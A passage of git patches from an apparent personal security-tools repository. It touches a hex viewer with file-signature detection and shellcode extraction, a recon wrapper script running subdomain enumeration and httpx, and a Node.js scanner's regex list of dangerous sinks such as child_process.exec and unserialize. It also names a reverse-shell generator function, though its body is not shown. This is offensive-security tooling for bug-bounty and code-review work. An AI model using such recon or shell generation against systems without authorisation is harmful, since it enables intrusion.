'Dalvik Executable', - '4B444D': 'VMDK files', - '43723234': 'Google Chrome extension or packaged app', - '41474433': 'FreeHand 8 document', - '05070000424F424F': 'AppleWorks 5 document', - '0607E100424F424F': 'AppleWorks 6 document', - '455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '8B455202000000': 'Roxio Toast disc image file, also some .dmg-files begin with same bytes', - '7801730D626260': 'Apple Disk Image file', - '78617221': 'eXtensible ARchive format', - '504D4F43434D4F43': 'Windows Files And Settings Transfer Repository', - '4E45531A': 'Nintendo Entertainment System ROM file', - '7573746172003030': 'tar archive', - '7573746172202000': 'tar archive', - '746F7833': 'Open source portable voxel file', - '4D4C5649': 'Magic Lantern Video file', - '44434D0150413330': 'Windows Update Binary Delta Compression', - '377ABCAF271C': '7-Zip File Format', - '1F8B': 'GZIP file', - 'FD377A585A0000': 'XZ compression utility using LZMA/LZMA2 compression', - '04224D18': 'LZ4 Frame Format', - '4D534346': 'Microsoft Cabinet file', - '535A444488F02733': 'Microsoft compressed file in Quantum format', - '464C4946': 'Free Lossless Image Format', - '1A45DFA3': 'Matroska media container, including WebM', - '3082': 'DER encoded X.509 certificate', - '4449434D': 'DICOM Medical File Format', - '774F4646': 'WOFF File Format 1.0', - '774F4632': 'WOFF File Format 2.0', - '3c3f786d6c20': 'eXtensible Markup Language (xml) when using the ASCII character encoding', - '0061736d': 'WebAssembly binary format', - 'cf8401': 'Lepton compressed JPEG image', - '435753': 'flash .swf', - '465753': 'flash .swf', - '213C617263683E': 'linux deb file', - '52494646': 'Google WebP image file', - '27051956': 'U-Boot / uImage. Das U-Boot Universal Boot Loader', - '7B5C72746631': 'Rich Text Format', - '54415045': 'Microsoft Tape Format', - '000001BA': 'MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)', - '000001B3': 'MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)', - '7801': 'zlib (No Compression/low)', - '789c': 'zlib (Default Compression)', - '78da': 'zlib (Best Compression)', - '1F8B0800': 'Minecraft Level Data File (NBT)', - '62767832': 'LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)', - '4F5243': 'Apache ORC (Optimized Row Columnar) file format', - '4F626A01': 'Apache Avro binary file format', - '53455136': 'RCFile columnar file format', - '65877856': 'PhotoCap Object Templates', - '5555aaaa': 'PhotoCap Vector', - '785634': 'PhotoCap Template', - '50415231': 'Apache Parquet columnar file format', - '454D5832': 'Emulator Emaxsynth samples', - '454D5533': 'Emulator III synth samples', - '1B4C7561': 'Lua bytecode' + "d4c3b2a1": "Libpcap File Format", + "0a0d0d0a": "PCAP Next Generation Dump File Format (pcapng)", + "edabeedb": "RedHat Package Manager (RPM) package", + "53503031": "Amazon Kindle Update Package", + "00": "IBM Storyboard bitmap file; Windows Program Information File; Mac Stuffit Self-Extracting Archive; IRIS OCR data file", + "BEBAFECA": "Palm Desktop Calendar Archive", + "00014244": "Palm Desktop To Do Archive", + "00014454": "Palm Desktop Calendar Archive", + "00010000": "Palm Desktop Data File (Access format)", + "00000100": "Computer icon encoded in ICO file format", + "667479703367": "3rd Generation Partnership Project 3GPP and 3GPP2 multimedia files", + "1FA0": "Compressed file (often tar zip) using LZH algorithm", + "425A68": "Compressed file using Bzip2 algorithm", + "474946383761": "Image file encoded in the Graphics Interchange Format (GIF) - GIF87a", + "474946383961": "Image file encoded in the Graphics Interchange Format (GIF) - GIF89a", + "FFD8FFE00010": "JPEG raw or in the JFIF or Exif file format", + "49492A00": "Tagged Image File Format (tiff, Little Endian format)", + "4D4D002A": "Tagged Image File Format (tiff, Big Endian)", + "49492A0010000000": "Canon RAW Format Version 2", + "4352": "Canon RAW format is based on the TIFF file format", + "802A5FD7": "Kodak Cineon image", + "524E4301": "Compressed file using Rob Northen Compression version 1", + "524E4302": "Compressed file using Rob Northen Compression version 2", + "53445058": "SMPTE DPX image (big endian format)", + "58504453": "SMPTE DPX image (little endian format)", + "762F3101": "OpenEXR image", + "425047FB": "Better Portable Graphics", + "FFD8FFDB": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE000104A4649460001": "JPEG raw or in the JFIF or Exif file format", + "FFD8FFE1": "JPEG raw or in the JFIF or Exif file format", + "464F52": "IFF Interleaved Bitmap Image", + "4C424D": "IFF Interleaved Bitmap Image", + "464F52": "IFF 8-Bit Sampled Voice", + "535658": "IFF 8-Bit Sampled Voice", + "464F524D": "IFF (misc filetypes)", + "4C5A4950": "lzip compressed file", + "4D5A": "DOS MZ executable file format and its descendants (including NE and PE)", + "504B0304": "zip file format and formats based on it, such as JAR, ODF, OOXML", + "504B0506": "zip file format and formats based on it, such as JAR, ODF, OOXML (empty archive)", + "504B0708": "zip file format and formats based on it, such as JAR, ODF, OOXML (spanned archive)", + "526172211A0700": "RAR archive version 1.50 onwards", + "526172211A070100": "RAR archive version 5.0 onwards", + "7F454C46": "ELF Executable and Linkable Format", + "89504E470D0A1A0A": "Image encoded in the Portable Network Graphics format (PNG)", + "CAFEBABE": "Java class file, Mach-O Fat Binary", + "EFBBBF": "UTF-8 encoded Unicode byte order mark, commonly seen in text files", + "FEEDFACE": "Mach-O binary (32-bit)", + "FEEDFACF": "Mach-O binary (64-bit)", + "CEFAEDFE": "Mach-O binary (reverse byte ordering scheme, 32-bit)", + "CFFAEDFE": "Mach-O binary (reverse byte ordering scheme, 64-bit)", + "FFFE": "Byte-order mark for text file encoded in little-endian 16-bit Unicode Transfer Format", + "FFFE0000": "Byte-order mark for text file encoded in little-endian 32-bit Unicode Transfer Format", + "25215053": "PostScript document", + "25504446": "PDF document", + "3026B2758E66CF11": "Advanced Systems Format (asf, wma, wmv)", + "A6D900AA0062CE6C": "Advanced Systems Format (asf, wma, wmv)", + "2453444930303031": "System Deployment Image, a disk image format used by Microsoft", + "4F676753": "Ogg, an open source media container format", + "38425053": "Photoshop Document file, Adobe Photoshop native file format", + "FFFB": "MPEG-1 Layer 3 file without an ID3 tag or with an ID3v1 tag (whichs appended at the end of the file)", + "494433": "MP3 file with an ID3v2 container", + "424D": "BMP file, a bitmap format used mostly in the Windows world", + "4344303031": "ISO9660 CD/DVD image file", + "53494D504C452020": "Flexible Image Transport System (FITS)", + "664C6143": "Free Lossless Audio Codec (flac)", + "4D546864": "MIDI sound file", + "D0CF11E0A1B11AE1": "Compound File Binary Format, a container format used for document by older versions of Microsoft Office", + "6465780A30333500": "Dalvik Executable", + "4B444D": "VMDK files", + "43723234": "Google Chrome extension or packaged app", + "41474433": "FreeHand 8 document", + "05070000424F424F": "AppleWorks 5 document", + "0607E100424F424F": "AppleWorks 6 document", + "455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "8B455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "7801730D626260": "Apple Disk Image file", + "78617221": "eXtensible ARchive format", + "504D4F43434D4F43": "Windows Files And Settings Transfer Repository", + "4E45531A": "Nintendo Entertainment System ROM file", + "7573746172003030": "tar archive", + "7573746172202000": "tar archive", + "746F7833": "Open source portable voxel file", + "4D4C5649": "Magic Lantern Video file", + "44434D0150413330": "Windows Update Binary Delta Compression", + "377ABCAF271C": "7-Zip File Format", + "1F8B": "GZIP file", + "FD377A585A0000": "XZ compression utility using LZMA/LZMA2 compression", + "04224D18": "LZ4 Frame Format", + "4D534346": "Microsoft Cabinet file", + "535A444488F02733": "Microsoft compressed file in Quantum format", + "464C4946": "Free Lossless Image Format", + "1A45DFA3": "Matroska media container, including WebM", + "3082": "DER encoded X.509 certificate", + "4449434D": "DICOM Medical File Format", + "774F4646": "WOFF File Format 1.0", + "774F4632": "WOFF File Format 2.0", + "3c3f786d6c20": "eXtensible Markup Language (xml) when using the ASCII character encoding", + "0061736d": "WebAssembly binary format", + "cf8401": "Lepton compressed JPEG image", + "435753": "flash .swf", + "465753": "flash .swf", + "213C617263683E": "linux deb file", + "52494646": "Google WebP image file", + "27051956": "U-Boot / uImage. Das U-Boot Universal Boot Loader", + "7B5C72746631": "Rich Text Format", + "54415045": "Microsoft Tape Format", + "000001BA": "MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)", + "000001B3": "MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)", + "7801": "zlib (No Compression/low)", + "789c": "zlib (Default Compression)", + "78da": "zlib (Best Compression)", + "1F8B0800": "Minecraft Level Data File (NBT)", + "62767832": "LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)", + "4F5243": "Apache ORC (Optimized Row Columnar) file format", + "4F626A01": "Apache Avro binary file format", + "53455136": "RCFile columnar file format", + "65877856": "PhotoCap Object Templates", + "5555aaaa": "PhotoCap Vector", + "785634": "PhotoCap Template", + "50415231": "Apache Parquet columnar file format", + "454D5832": "Emulator Emaxsynth samples", + "454D5533": "Emulator III synth samples", + "1B4C7561": "Lua bytecode", } COLORS = { - "black": '\33[0;30m', - "white": '\33[0;37m', - "red": '\33[0;31m', - "green": '\33[0;32m', - "green_bg": '\33[1;32m\33[41m', - "yellow": '\33[0;33m', - "yellow_bg": '\33[1;33m\33[41m', - "blue": '\33[0;34m', - "magenta": '\33[0;35m', - "magenta_bg": '\33[1;35m\33[41m', - "cyan": '\33[0;36m', - "grey": '\33[0;90m', - "lightgrey": '\33[0;37m', - "lightblue": '\33[0;94m' + "black": "\33[0;30m", + "white": "\33[0;37m", + "red": "\33[0;31m", + "green": "\33[0;32m", + "green_bg": "\33[1;32m\33[41m", + "yellow": "\33[0;33m", + "yellow_bg": "\33[1;33m\33[41m", + "blue": "\33[0;34m", + "magenta": "\33[0;35m", + "magenta_bg": "\33[1;35m\33[41m", + "cyan": "\33[0;36m", + "grey": "\33[0;90m", + "lightgrey": "\33[0;37m", + "lightblue": "\33[0;94m", } # some globals upper_case = False - def file_type(file_signature): """ Recognize file type based on file 'magic numbers' """ file_signature = binascii.hexlify(file_signature).upper() - recognized = 'ASCII text (no file signature found)' + recognized = "ASCII text (no file signature found)" for signature in FILE_SIGNATURES: - if file_signature.startswith(signature.upper()): + if file_signature.decode('utf-8').startswith(signature.upper()): recognized = FILE_SIGNATURES[signature] - return "{}\n[+] File type: {}{}{}".format(COLORS['cyan'], COLORS['yellow'], recognized, COLORS['white']) + return "{}\n[+] File type: {}{}{}".format( + COLORS["cyan"], COLORS["yellow"], recognized, COLORS["white"] + ) def char_type(c): """ Returns char type depends on its ASCII code """ + print(c) if 32 < ord(c) < 128: return ASCII if ord(c) <= 16: @@ -193,45 +195,46 @@ def make_color(c, df_c=False): Formats color for byte depends on if it's printable ASCII """ global upper_case - + retval = "" # for file diff - if characters are different, use bg color for char: diff = (c != df_c) if df_c != False else False # printable ASCII: if char_type(c) == ASCII: if diff: retval = "{}{:02X}{}".format( - COLORS['green_bg'], ord(c), COLORS['white']) + COLORS["green_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['green'], ord(c), COLORS['white']) + COLORS["green"], ord(c), COLORS["white"]) if char_type(c) == OTHER: if diff: retval = "{}{:02X}{}".format( - COLORS['yellow_bg'], ord(c), COLORS['white']) + COLORS["yellow_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['yellow'], ord(c), COLORS['white']) + COLORS["yellow"], ord(c), COLORS["white"]) if char_type(c) == CTRL: if diff: retval = "{}{:02X}{}".format( - COLORS['magenta_bg'], ord(c), COLORS['white']) + COLORS["magenta_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['magenta'], ord(c), COLORS['white']) + COLORS["magenta"], ord(c), COLORS["white"]) - return (retval if upper_case else retval.lower()) + return retval if upper_case else retval.lower() def format_text(c): """ Formats color for character depends on if it's printable ASCII """ + retval = "" if char_type(c) == ASCII: - retval = "{}{}{}".format(COLORS['lightblue'], c, COLORS['white']) + retval = "{}{}{}".format(COLORS["lightblue"], c, COLORS["white"]) if char_type(c) == CTRL: - retval = "{}.{}".format(COLORS['magenta'], COLORS['white']) + retval = "{}.{}".format(COLORS["magenta"], COLORS["white"]) if char_type(c) == OTHER: - retval = "{}.{}".format(COLORS['yellow'], COLORS['white']) + retval = "{}.{}".format(COLORS["yellow"], COLORS["white"]) return retval @@ -241,14 +244,25 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): """ if dec: if df_chunk: - return " ".join("{}:{}{:#04}{} ".format(make_color(c, df_c), COLORS['grey'], - ord(c), COLORS['white']) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) - return " ".join("{}:{}{:#04}{} ".format(make_color(c), COLORS['grey'], - ord(c), COLORS['white']) for c in chunk[start:stop]) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c, df_c), COLORS["grey"], ord( + c), COLORS["white"] + ) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c), COLORS["grey"], ord(c), COLORS["white"] + ) + for c in chunk[start:stop] + ) else: if df_chunk: - return " ".join("{} ".format(make_color(c, df_c)) - for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) + return " ".join( + "{} ".format(make_color(c, df_c)) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) @@ -261,14 +275,27 @@ def extract_shellcode(start, end, read_binary): s = read_binary.read(end - start) for c in s: if ord(c) == 0: - shellcode = shellcode + "{}".format(COLORS['red']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) + shellcode = ( + shellcode + + "{}".format(COLORS["red"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) else: - shellcode = shellcode + "{}".format(COLORS['yellow']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) - print("\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format(COLORS['cyan'], start, end, COLORS['white'])) + shellcode = ( + shellcode + + "{}".format(COLORS["yellow"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) + print( + "\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format( + COLORS["cyan"], start, end, COLORS["white"] + ) + ) print("\n{}\n".format(shellcode)) + if __name__ == "__main__": """ main program routine @@ -279,55 +306,70 @@ def extract_shellcode(start, end, read_binary): parser = argparse.ArgumentParser() parser.add_argument("file", help="Specify a file") parser.add_argument( - "-d", "--decimal", help="Display DEC values with HEX", action="store_true") - parser.add_argument( - "-s", "--start", help="Start byte") - parser.add_argument( - "-e", "--end", help="End byte") + "-d", "--decimal", help="Display DEC values with HEX", action="store_true" + ) + parser.add_argument("-s", "--start", help="Start byte") + parser.add_argument("-e", "--end", help="End byte") + parser.add_argument("-D", "--diff", help="Perform diff with FILENAME") parser.add_argument( - "-D", "--diff", help="Perform diff with FILENAME") + "-S", + "--shellcode", + help="Extract shellcode (-s and -e has to be passed)", + action="store_true", + ) parser.add_argument( - "-S", "--shellcode", help="Extract shellcode (-s and -e has to be passed)", action="store_true") - parser.add_argument( - "-u", "--uppercase", help="Display output using uppercase characters", action="store_true") - - args = parser.parse_args() + "-u", + "--uppercase", + help="Display output using uppercase characters", + action="store_true", + ) + + arguments = parser.parse_args() + print(arguments) b = 16 + diff_file = None # for -D / --diff - second file has to be opened # https://github.com/bl4de/security-tools/issues/22 [RESOLVED] - if args.diff: - diff_file = open(args.diff, 'rb') + if arguments.diff: + diff_file = open(arguments.diff, "rb") - if args.uppercase: + if arguments.uppercase: upper_case = True - - if args.file: - # read first 8 bytes to recognize file type - print(file_type(open(args.file, 'rb').read(8))) - with open(args.file, 'rb') as infile: - if args.start > -1 and args.end and (int(args.start, 16) > -1 and int(args.end, 16) > int(args.start, 16)): - __FROM = int(args.start, 16) - __TO = int(args.end, 16) + if arguments.file: + # read first 8 bytes to recognize file type + print(file_type(open(arguments.file, "rb").read(8))) + + with open(arguments.file, "rb") as infile: + if ( + arguments.start is not None and int(arguments.start) > -1 + and arguments.end is not None and (int(arguments.end) > 1) + and ( + int(arguments.start, 16) > - + 1 and int(arguments.end, 16) > int(arguments.start, 16) + ) + ): + __FROM = int(arguments.start, 16) + __TO = int(arguments.end, 16) else: - __TO = os.path.getsize(args.file) + __TO = os.path.getsize(arguments.file) - if args.shellcode and __FROM > -1 and __TO: + if arguments.shellcode and __FROM > -1 and __TO: extract_shellcode(__FROM, __TO, infile) infile.seek(__FROM) - if args.diff: + if arguments.diff is not None: diff_file.seek(__FROM) offset = __FROM - print("{}[+] Hex dump: {}\n".format(COLORS['cyan'], COLORS['white'])) + print("{}[+] Hex dump: {}\n".format(COLORS["cyan"], COLORS["white"])) while offset < __TO: chunk = infile.read(b) - if args.diff: + if arguments.diff is not None: df_chunk = diff_file.read(b) else: df_chunk = False @@ -336,47 +378,61 @@ def extract_shellcode(start, end, read_binary): break text = str(chunk) - text = ''.join([format_text(i) for i in text]) + text = "".join([format_text(i) for i in text]) - output = "{}{:#08x}{}".format( - COLORS['cyan'], offset, COLORS['white']) + ": " + output = ( + "{}{:#08x}{}".format( + COLORS["cyan"], offset, COLORS["white"]) + ": " + ) output += format_chunk(chunk, 0, 4, - df_chunk, args.decimal) + " " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 4, 8, - df_chunk, args.decimal) + " " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 8, 12, - df_chunk, args.decimal) + " " - output += format_chunk(chunk, 12, 16, df_chunk, args.decimal) + df_chunk, arguments.decimal) + " " + output += format_chunk(chunk, 12, 16, + df_chunk, arguments.decimal) - if args.diff: + if arguments.diff is not None: df_text = str(df_chunk) - df_text = ''.join([format_text(i) for i in df_text]) - - df_output = " " + \ - format_chunk(df_chunk, 0, 4, chunk, - args.decimal) + " " - df_output += format_chunk(df_chunk, - 4, 8, chunk, args.decimal) + " " - df_output += format_chunk(df_chunk, - 8, 12, chunk, args.decimal) + " " - df_output += format_chunk(df_chunk, 12, - 16, chunk, args.decimal) + df_text + df_text = "".join([format_text(i) for i in df_text]) + + df_output = ( + " " + + format_chunk(df_chunk, 0, 4, chunk, + arguments.decimal) + + " " + ) + df_output += ( + format_chunk(df_chunk, 4, 8, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 8, 12, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 12, 16, chunk, + arguments.decimal) + df_text + ) if len(chunk) % b != 0: - if args.decimal: + if arguments.decimal: output += " " * (((b * 2) - 4 - len(chunk))) + text - if args.diff: - df_output += " " * \ + if arguments.diff: + df_output += ( + " " * (((b * 2) - 4 - len(df_chunk))) + df_text + ) else: output += " " * (b + 4 - len(chunk)) + text - if args.diff: + if arguments.diff: df_output += " " * \ (b + 4 - len(df_chunk)) + df_text else: output += " " + text - if args.diff: + if arguments.diff: output += df_output print(output) From 3ca0862e1c58dbbcad8a350175a9d94bf442d387 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 29 Mar 2022 08:55:35 +0100 Subject: [PATCH 283/460] [hexview] 'TypeError: ord() expected string of length 1, but int found' - in progress --- hexview/hexview.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 2b23b41..3a146d5 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -182,7 +182,6 @@ def char_type(c): """ Returns char type depends on its ASCII code """ - print(c) if 32 < ord(c) < 128: return ASCII if ord(c) <= 16: @@ -263,6 +262,7 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): "{} ".format(make_color(c, df_c)) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) ) + print("TU: ", [c for c in chunk[start:stop]]) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) From 0456a4471d461ab35073aebcc13f5ebece45fc04 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 31 Mar 2022 12:17:02 +0100 Subject: [PATCH 284/460] [s0mbra] lookaround - added sublister --- s0mbra.sh | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bdfd35a..cadb294 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -204,18 +204,30 @@ lookaround() { START_TIME=$(date) echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + # sublister + echo -e "\n$GREEN--> sublister$CLR\n" + for domain in $(cat scope); do + sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.tmp" + done + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + # prepare list of uniqe subdomains + cat s0mbra_recon_sub* > step1 + sed 's/
/#/g' step1 | tr '#' '\n' > step2 + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + rm -f step* + # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subfinder.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" grep 200 $TMPDIR/s0mbra_recon_httpx.tmp From c408820b00bfd65b1ba876f22bcc58b4a85a52e6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 18 Apr 2022 12:39:53 +0100 Subject: [PATCH 285/460] [s0mbra] Added phpcs for PHP static analysis --- s0mbra.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index cadb294..1f6235a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -533,6 +533,13 @@ gql() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +php_sast() { + clear + echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" + phpcs --colors -vs $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -658,6 +665,9 @@ case "$cmd" in snyktest) snyktest ;; + phpsast) + php_sast "$2" + ;; gql) gql "$2" ;; @@ -754,6 +764,7 @@ case "$cmd" in echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" From e8422394b4ccc9bdb0efb2836ab378b862ea1974 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 21 Apr 2022 13:54:56 +0100 Subject: [PATCH 286/460] [s0mbra] Comments --- s0mbra.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 1f6235a..566091b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -500,6 +500,7 @@ s3go() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# coverts .dex file to .jar archive dex_to_jar() { clear echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" @@ -507,12 +508,14 @@ dex_to_jar() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# unpack .jar archive unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +# runs disassembly agains binary disass() { clear echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." @@ -520,12 +523,14 @@ disass() { echo -e "\n$BLUE[s0mbra] Done." } +# runs Java decompiler jadx jadx() { clear echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } +# executes graphql-cop against GraphQL endpoint gql() { clear echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" @@ -533,6 +538,7 @@ gql() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# runs PHP SAST tools against PHP application php_sast() { clear echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" @@ -540,6 +546,7 @@ php_sast() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# deso stuff with Android APK file apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -553,6 +560,7 @@ apk() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# extracts Androind .ab archive abe() { clear echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" @@ -570,6 +578,7 @@ abe() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# generates reverse shells in various languages for given IP:PORT generate_shells() { clear port=$2 @@ -604,18 +613,21 @@ generate_shells() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# looks for default credentials in service/software/hardware defcreds() { echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" creds search $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# decodes Base64 string b64() { echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" echo $1 | base64 -D echo -e "$BLUE\n[s0mbra] Done! $CLR" } +### menu cmd=$1 clear From 786daa1f2077116e182f36d9107e02d666b7aa55 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Apr 2022 19:54:47 +0100 Subject: [PATCH 287/460] [pef] Fix for levels --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index e4e133c..070a7f0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -157,7 +157,7 @@ def run(self): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( - "-l", "--level", help="severity level: ALL, LOW, MEDIUM or level; default - ALL") + "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") parser.add_argument( "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() From 460c1962d026e4ab12e61b4c9e8aafae808243bf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Apr 2022 11:01:51 +0100 Subject: [PATCH 288/460] [nodestructor] Refactoring --- nodestructor/nodestructor.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index c36a9e8..142a894 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -59,7 +59,6 @@ ".*child_process", ".*child_process.exec\(", ".*\sFunction\(", - ".*execFile\(", ".*spawn\(", ".*fork\(", ".*setImmediate\(", From 8ac415ad0f6651503fa47b302125f5f7aafc0301 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 29 Apr 2022 00:34:03 +0100 Subject: [PATCH 289/460] [nodestructor] Refactoring --- nodestructor/nodestructor.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 142a894..be199fb 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -61,14 +61,10 @@ ".*\sFunction\(", ".*spawn\(", ".*fork\(", - ".*setImmediate\(", ".*newBuffer\(", ".*\.constructor\(", ".*mysql\.createConnection\(", ".*\.query\(", -] - -npm_patterns = [ ".*serialize\(", ".*unserialize\(" ] From 43b213984db6e11aa1383e1582aec0cec9f9d8c9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Apr 2022 11:23:26 +0100 Subject: [PATCH 290/460] [s0mbra] Menu refactoring --- s0mbra.sh | 92 ++++++++++++++++++++++++++----------------------------- 1 file changed, 44 insertions(+), 48 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 566091b..81b1cca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -740,53 +740,49 @@ case "$cmd" in *) clear echo -e "$GREEN I'm guessing there's no 